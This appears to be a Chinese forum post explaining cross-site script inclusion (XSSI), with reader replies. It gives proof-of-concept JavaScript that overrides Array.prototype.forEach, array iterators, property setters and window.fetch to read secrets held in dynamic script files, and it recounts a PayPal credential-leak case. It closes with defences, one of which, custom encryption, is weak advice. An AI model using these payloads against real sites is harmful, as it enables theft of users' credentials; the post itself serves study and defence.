xssi漏洞案例分析+漏洞挖掘

来源

在h1看到paypal的key信息泄露导致用户账户信息泄露,包括用户的用户名、邮箱等信息,并获得1.5w$奖金,分析完毕在freebuf上找到xssi相关文章,该文章在18年发布,但是当时对于该漏洞的看重程度还不是很高。
附上文章链接:

h1:The Bug That Exposed Your PayPal Password

fb:挖洞经验 | 看我如何发现雅虎XSSi漏洞实现用户信息窃取

demo:血淋淋的事实告诉你:你为什么不应该在JS文件中保存敏感信息

漏洞原理

XSSI被称为跨站脚本包含漏洞,通常在开发过程中对数据的临时存储,存储在动态javascript文件中,方便全局对数据的调用。该数据通过服务端生成,临时存储在js文件中,被客户端进行使用,通过该功能进行数据处理、身份认证等处理;问题在于通过对动态js的调用,我们可以通过嵌入js文件对动态的js文件进行处理,获取的数据导致用户凭证等敏感信息泄露,如果存在xss漏洞,将js文件嵌入进去,危害将会十分大,paypal的案例就是最好的例子。

show the code

- demo1

获取数组内容:

page:

(function(){
	var secret = ["abc","def"];
	secret.forEach(function(element){
		//dosomething
	});
})();

js_poc:

<script>
	Array.prototype.forEach = function(callback){
		var resultstring = "your secret are:<b>";
		for (var i = 0,length=this.length;i<length;i++) {
			if(i>0){
				resultstring+=",";
			}
			resultstring  += this[i];
			
		}
		resultstring +="</b>";
		var div = document.getElementById("result");
		div.innerHTML = resultstring;
	};
</script>

- demo2

还是对一个数组进行遍历,获取内容

page:

(function(){

    let secretArray = ["this","contains", "an", "API", "key"];

    for (let element of secretArray) {

        doSomething(element);

    }

})()

poc

Array.prototype[Symbol.iterator]= function() {
    let arr = this;
    let index = 0;
    console.log(arr)
    return {
        next: function() {
            return {
                value: arr[index++],
                done: index > arr.length
            }
        }
    }
};

- demo3

对定义的变量进行获取,此处的poc通过定义函数,使变量在定义的同时进行调用该函数,获取数据
page:

(function(){
    "use strict";
    var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29"
    fetch('/api/v1/getusers', {
        method: "POST",
        body: "api_key=" + api_key
    })
})()

poc

Object.prototype.__defineSetter__('api_key',function(value){

    console.log("this value has been setting:");
    console.log(value);


    return this._api_key = value;

});
Object.prototype.__defineGetter__('api_key',function(value){

    console.log("this value has been getting:");
    console.log(value);
    return this._api_key;

});

- demo4

通过对函数的覆写进行调用函数,获取数据
page

(function(){
    "use strict";
    var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29"
    fetch('/api/v1/getusers', {
        method: "POST",
        body: "api_key=" + api_key
    })
})()

poc

window.fetch= (url, options) => {
    console.log(`URL: ${url}, data:${options.body}`);
    alert(options.body);

};

- demo5

h1案例,通过泄露在js文件中的csrf和session进行用户凭证验证失败触发了google验证码机制后,完成google验证码机制,凭证验证的responce中会包含一个表单,包括用户的敏感信息,此时我们通过编写的poc_js文件触发该用户的google机制,然后用户通过google机制,将responce信息返回到我们的服务器。

js敏感信息泄露:

与jsonp劫持的关系

jsonp劫持等利用js对回调函数进行插入恶意代码,将敏感数据发送到攻击者的服务器,其实就是对存在jsonp劫持漏洞的网页进行发起一次请求,让其受害者客户端执行插入的恶意代码;而xssi主要获取服务器为每个客户端生成的动态js文件中的敏感数据,达到信息泄露的目的,这种信息可能包括用户的登录凭证,严重可导致任意用户账号接管。

防御

  • 不在js文件中生成敏感数据
  • 自定义复杂加密算法加密数据
  • 启动csp内容安全策略,白名单化加载的js文件
4 个赞

跨站脚本包含漏洞(XSSi)在公认的安全标准OWASP TOP 10中并未被提及,而且它也没有一些公开可利用的工具。但它的影响涉及个人存储信息泄露、token保护机制绕过以及账户劫持等。目前来说,由于XSSi漏洞存在广泛且缺乏有效的检测手段,导致其漏洞危害程度增加。

有点兴趣 感觉是一个研究的方向 学习一下

的确是一个目前没有受到关注的地方,但它的危害已经逐渐显露出来,希望多多交流~

1 个赞